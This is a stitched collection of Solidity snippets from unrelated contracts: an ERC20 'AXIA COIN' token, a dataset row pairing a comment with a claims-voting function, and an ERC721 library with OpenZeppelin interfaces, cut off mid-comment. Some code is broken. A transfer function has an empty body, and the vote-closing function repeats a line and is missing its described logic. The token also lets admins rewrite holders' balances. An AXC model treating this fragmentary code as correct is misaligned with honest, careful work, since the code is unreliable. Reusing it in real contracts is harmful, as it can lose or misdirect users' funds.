_maxTotalSupply = maxTotalSupply_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
require(_totalSupply.add(amount) <= _maxTotalSupply, "Can not exceed maxTotalSupply");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev return maxTotalSupply
*/
function getMaxTotalSupply() public view returns (uint256) {
return _maxTotalSupply;
}
}
contract AXCToken is ERC20, Ownable, FeeRouter, AccessControl {
using SafeMath for uint256;
address private _foundation;
mapping (address => bool) private _exemptedAddresses;
constructor() ERC20("AXIA COIN", "AXC", 72560000000000000000000000000) {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_foundation = msg.sender;
}
/**
* @dev mint a new amout of tokens to an account
*/
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
/**
* @dev mint multiple amounts of tokens to a list of accounts
*/
function multiMint(address[] memory to_list, uint256[] memory amounts) public onlyOwner {
require(to_list.length == amounts.length, "Lengths mismatch");
for (uint256 i = 0; i < to_list.length; i++) {
_mint(to_list[i], amounts[i]);
}
}
/**
* @dev update fee schedule by admin
*/
function updateFeeSchedule(uint256 senderPercentage, uint256 foundationPercentage, uint256 receiverPercentage) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin");
_updateFeeSchedule(senderPercentage, foundationPercentage, receiverPercentage);
}
/**
* @dev implementation of token transfer
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, _foundation, amount.mul(_foundationPercentage).div(1000));
_transfer(msg.sender, recipient, amount.mul(_receiverPercentage).div(1000));
return true;
}
/**
* @dev update foundation account address
*/
function updateFoundation(address foudnationAddress) public returns (bool) {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin");
_foundation = foudnationAddress;
return true;
}
/**
* @dev returns foundation account address
*/
function getFoundation() public view returns (address){
return _foundation;
}
/**
* @dev sums a list of uint
*/
function _sum(uint256[] memory data) private pure returns (uint256) {
uint256 sum;
for(uint256 i; i < data.length; i++){
sum = sum.add(data[i]);
}
return sum;
}
/**
* @dev return whether a user is exempted
*/
function exempted(address account) view public returns (bool) {
return _exemptedAddresses[account];
}
/**
* @dev add self to exempted addresses
*/
function exemptSelf() public returns (bool) {
_exemptedAddresses[msg.sender] = true;
return true;
}
/**
* @dev remove self from exempted addresses
*/
function revertExemptSelf() public returns (bool) {
delete _exemptedAddresses[msg.sender];
return true;
}
/**
* @dev update a balances for multiple accounts
*/
function batchUpdateBalances(address[] memory to_add_list, uint256[] memory to_add_amounts, address[] memory to_sub_list, uint256[] memory to_sub_amounts) public returns (bool) {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin");
require(_sum(to_add_amounts).sub(_sum(to_sub_amounts), "Not sum up to ZERO") == 0, "Not sum up to ZERO");
require(to_add_list.length == to_add_amounts.length, "Lengths mismatch");
require(to_sub_list.length == to_sub_amounts.length, "Lengths mismatch");
for(uint256 i; i < to_sub_list.length; i++){
require(_exemptedAddresses[to_sub_list[i]] == false, "Exempted");
}
for(uint256 i; i < to_sub_list.length; i++){
_balances[to_sub_list[i]] = _balances[to_sub_list[i]].sub(to_sub_amounts[i], "Batch sub amount exceeds balance");
}
for(uint256 i; i < to_add_list.length; i++){
_balances[to_add_list[i]] = _balances[to_add_list[i]].add(to_add_amounts[i]);
}
return true;
}
/**
* @dev grant admin roles for multiple accounts
*/
function batchGrantAdmin(address[] memory to_grant_list) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || _owner == msg.sender, "Caller is not an admin or owner");
for(uint256 i; i < to_grant_list.length; i++){
_grantRole(DEFAULT_ADMIN_ROLE, to_grant_list[i]);
}
}
/**
* @dev revoke admin roles for multiple accounts
*/
function batchRevokeAdmin(address[] memory to_revoke_list) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || _owner == msg.sender, "Caller is not an admin or owner");
for(uint256 i; i < to_revoke_list.length; i++){
_revokeRole(DEFAULT_ADMIN_ROLE, to_revoke_list[i]);
}
}
}
|
* @dev update fee schedule by admin/
|
function updateFeeSchedule(uint256 senderPercentage, uint256 foundationPercentage, uint256 receiverPercentage) public {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin");
_updateFeeSchedule(senderPercentage, foundationPercentage, receiverPercentage);
}
| 5,993
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./partial_match/42/0x75C1b8cD9CFD01Df29196Db4786236Ad740E0A6f/sources/DisposableMemberRoles.sol
|
* @dev Checks if voting of a claim should be closed or not. Internally called by checkVoteClosing method for Claims whose status number is 0 or status number lie between 2 and 6. @param claimId Claim Id. @param status Current status of claim. @return close 1 if voting should be closed,0 in case voting should not be closed, -1 if voting has already been closed./
|
function _checkVoteClosingFinal(uint claimId, uint status) internal view returns (int8 close) {
close = 0;
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 curr = qd.getCurrencyOfCover(coverId);
uint tokenx1e18 = m1.calculateTokenPrice(curr);
uint accept;
uint deny;
(, accept, deny) = cd.getClaimsTokenCA(claimId);
uint caTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
(, accept, deny) = cd.getClaimsTokenMV(claimId);
uint mvTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
uint sumassured = qd.getCoverSumAssured(coverId).mul(DECIMAL1E18);
if (status == 0 && caTokens >= sumassured.mul(10)) {
close = 1;
close = 1;
}
}
| 3,325,800
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "./IERC721LibBeforeTokenTransferHook.sol";
/* Functionality used to whitelist OpenSea trading address, if desired */
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, the Enumerable extension, and Pausable.
*
* Closely based on and mirrors the excellent https://openzeppelin.com/contracts/.
*/
library ERC721Lib {
using Address for address;
using Strings for uint256;
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
struct ERC721Storage {
// Token name
string _name;
// Token symbol
string _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) _owners;
// Mapping owner address to token count
mapping (address => uint256) _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) _operatorApprovals;
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) _allTokensIndex;
// Base URI
string _baseURI;
// True if token transfers are paused
bool _paused;
// Hook function that can be called before token is transferred, along with a pointer to its storage struct
IERC721LibBeforeTokenTransferHook _beforeTokenTransferHookInterface;
bytes32 _beforeTokenTransferHookStorageSlot;
address proxyRegistryAddress;
}
function init(ERC721Storage storage s, string memory _name, string memory _symbol) external {
s._name = _name;
s._symbol = _symbol;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| interfaceId == type(IERC721Enumerable).interfaceId;
}
//
// Start of ERC721 functions
//
/**
* @dev See {IERC721-balanceOf}.
*/
function _balanceOf(ERC721Storage storage s, address owner) internal view returns (uint256) {
require(owner != address(0), "Balance query for address zero");
return s._balances[owner];
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(ERC721Storage storage s, address owner) external view returns (uint256) {
return _balanceOf(s, owner);
}
/**
* @dev See {IERC721-ownerOf}.
*/
function _ownerOf(ERC721Storage storage s, uint256 tokenId) internal view returns (address) {
address owner = s._owners[tokenId];
require(owner != address(0), "Owner query for nonexist. token");
return owner;
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(ERC721Storage storage s, uint256 tokenId) external view returns (address) {
return _ownerOf(s, tokenId);
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name(ERC721Storage storage s) external view returns (string memory) {
return s._name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol(ERC721Storage storage s) external view returns (string memory) {
return s._symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(ERC721Storage storage s, uint256 tokenId) external view returns (string memory) {
require(_exists(s, tokenId), "URI query for nonexistent token");
return bytes(s._baseURI).length > 0
? string(abi.encodePacked(s._baseURI, tokenId.toString()))
: "";
}
/**
* @dev Set base URI
*/
function setBaseURI(ERC721Storage storage s, string memory baseTokenURI) external {
s._baseURI = baseTokenURI;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(ERC721Storage storage s, address to, uint256 tokenId) external {
address owner = _ownerOf(s, tokenId);
require(to != owner, "Approval to current owner");
require(msg.sender == owner || _isApprovedForAll(s, owner, msg.sender),
"Not owner nor approved for all"
);
_approve(s, to, tokenId);
}
/**
* @dev Approve independently of who's the owner
*
* Obviously expose with care...
*/
function overrideApprove(ERC721Storage storage s, address to, uint256 tokenId) external {
_approve(s, to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function _getApproved(ERC721Storage storage s, uint256 tokenId) internal view returns (address) {
require(_exists(s, tokenId), "Approved query nonexist. token");
return s._tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(ERC721Storage storage s, uint256 tokenId) external view returns (address) {
return _getApproved(s, tokenId);
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(ERC721Storage storage s, address operator, bool approved) external {
require(operator != msg.sender, "Attempted approve to caller");
s._operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function _isApprovedForAll(ERC721Storage storage s, address owner, address operator) internal view returns (bool) {
// Whitelist OpenSea proxy contract for easy trading - if we have a valid proxy registry address on file
if (s.proxyRegistryAddress != address(0)) {
ProxyRegistry proxyRegistry = ProxyRegistry(s.proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
}
return s._operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(ERC721Storage storage s, address owner, address operator) external view returns (bool) {
return _isApprovedForAll(s, owner, operator);
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(ERC721Storage storage s, address from, address to, uint256 tokenId) external {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(s, msg.sender, tokenId), "TransferFrom not owner/approved");
_transfer(s, from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(ERC721Storage storage s, address from, address to, uint256 tokenId) external {
_safeTransferFrom(s, from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function _safeTransferFrom(ERC721Storage storage s, address from, address to, uint256 tokenId, bytes memory _data) internal {
require(_isApprovedOrOwner(s, msg.sender, tokenId), "TransferFrom not owner/approved");
_safeTransfer(s, from, to, tokenId, _data);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(ERC721Storage storage s, address from, address to, uint256 tokenId, bytes memory _data) external {
_safeTransferFrom(s, from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(ERC721Storage storage s, address from, address to, uint256 tokenId, bytes memory _data) internal {
_transfer(s, from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "Transfer to non ERC721Receiver");
}
/**
* @dev directSafeTransfer
*
* CAREFUL, this does not verify the previous ownership - only use if ownership/eligibility has been asserted by other means
*/
function directSafeTransfer(ERC721Storage storage s, address from, address to, uint256 tokenId, bytes memory _data) external {
_safeTransfer(s, from, to, tokenId, _data);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(ERC721Storage storage s, uint256 tokenId) internal view returns (bool) {
return s._owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(ERC721Storage storage s, address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(s, tokenId), "Operator query nonexist. token");
address owner = _ownerOf(s, tokenId);
return (spender == owner || _getApproved(s, tokenId) == spender || _isApprovedForAll(s, owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(ERC721Storage storage s, address to, uint256 tokenId) internal {
_safeMint(s, to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(ERC721Storage storage s, address to, uint256 tokenId, bytes memory _data) internal {
_unsafeMint(s, to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "Transfer to non ERC721Receiver");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _unsafeMint(ERC721Storage storage s, address to, uint256 tokenId) internal {
require(to != address(0), "Mint to the zero address");
require(!_exists(s, tokenId), "Token already minted");
_beforeTokenTransfer(s, address(0), to, tokenId);
s._balances[to] += 1;
s._owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(ERC721Storage storage s, uint256 tokenId) internal {
address owner = _ownerOf(s, tokenId);
_beforeTokenTransfer(s, owner, address(0), tokenId);
// Clear approvals
_approve(s, address(0), tokenId);
s._balances[owner] -= 1;
delete s._owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(ERC721Storage storage s, address from, address to, uint256 tokenId) internal {
require(_ownerOf(s, tokenId) == from, "TransferFrom not owner/approved");
require(to != address(0), "Transfer to the zero address");
_beforeTokenTransfer(s, from, to, tokenId);
// Clear approvals from the previous owner
_approve(s, address(0), tokenId);
s._balances[from] -= 1;
s._balances[to] += 1;
s._owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(ERC721Storage storage s, address to, uint256 tokenId) internal {
s._tokenApprovals[tokenId] = to;
emit Approval(_ownerOf(s, tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("Transfer to non ERC721Receiver");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
//
// Start of functions from ERC721Enumerable
//
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(ERC721Storage storage s, address owner, uint256 index) external view returns (uint256) {
require(index < _balanceOf(s, owner), "Owner index out of bounds");
return s._ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function _totalSupply(ERC721Storage storage s) internal view returns (uint256) {
return s._allTokens.length;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply(ERC721Storage storage s) external view returns (uint256) {
return s._allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(ERC721Storage storage s, uint256 index) external view returns (uint256) {
require(index < _totalSupply(s), "Global index out of bounds");
return s._allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(ERC721Storage storage s, address from, address to, uint256 tokenId) internal {
if(address(s._beforeTokenTransferHookInterface) != address(0)) {
// We have a hook that we need to delegate call
(bool success, ) = address(s._beforeTokenTransferHookInterface).delegatecall(
abi.encodeWithSelector(s._beforeTokenTransferHookInterface._beforeTokenTransferHook.selector, s._beforeTokenTransferHookStorageSlot, from, to, tokenId)
);
if(!success) {
// Bubble up the revert message
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
}
require(!_paused(s), "No token transfer while paused");
if (from == address(0)) {
_addTokenToAllTokensEnumeration(s, tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(s, from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(s, tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(s, to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(ERC721Storage storage s, address to, uint256 tokenId) private {
uint256 length = _balanceOf(s, to);
s._ownedTokens[to][length] = tokenId;
s._ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(ERC721Storage storage s, uint256 tokenId) private {
s._allTokensIndex[tokenId] = s._allTokens.length;
s._allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(ERC721Storage storage s, address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _balanceOf(s, from) - 1;
uint256 tokenIndex = s._ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = s._ownedTokens[from][lastTokenIndex];
s._ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
s._ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete s._ownedTokensIndex[tokenId];
delete s._ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(ERC721Storage storage s, uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = s._allTokens.length - 1;
uint256 tokenIndex = s._allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = s._allTokens[lastTokenIndex];
s._allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
s._allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete s._allTokensIndex[tokenId];
s._allTokens.pop();
}
//
// Start of functions from Pausable
//
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function _paused(ERC721Storage storage s) internal view returns (bool) {
return s._paused;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused(ERC721Storage storage s) external view returns (bool) {
return s._paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused(ERC721Storage storage s) {
require(!_paused(s), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused(ERC721Storage storage s) {
require(_paused(s), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause(ERC721Storage storage s) external whenNotPaused(s) {
s._paused = true;
emit Paused(msg.sender);
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause(ERC721Storage storage s) external whenPaused(s) {
s._paused = false;
emit Unpaused(msg.sender);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
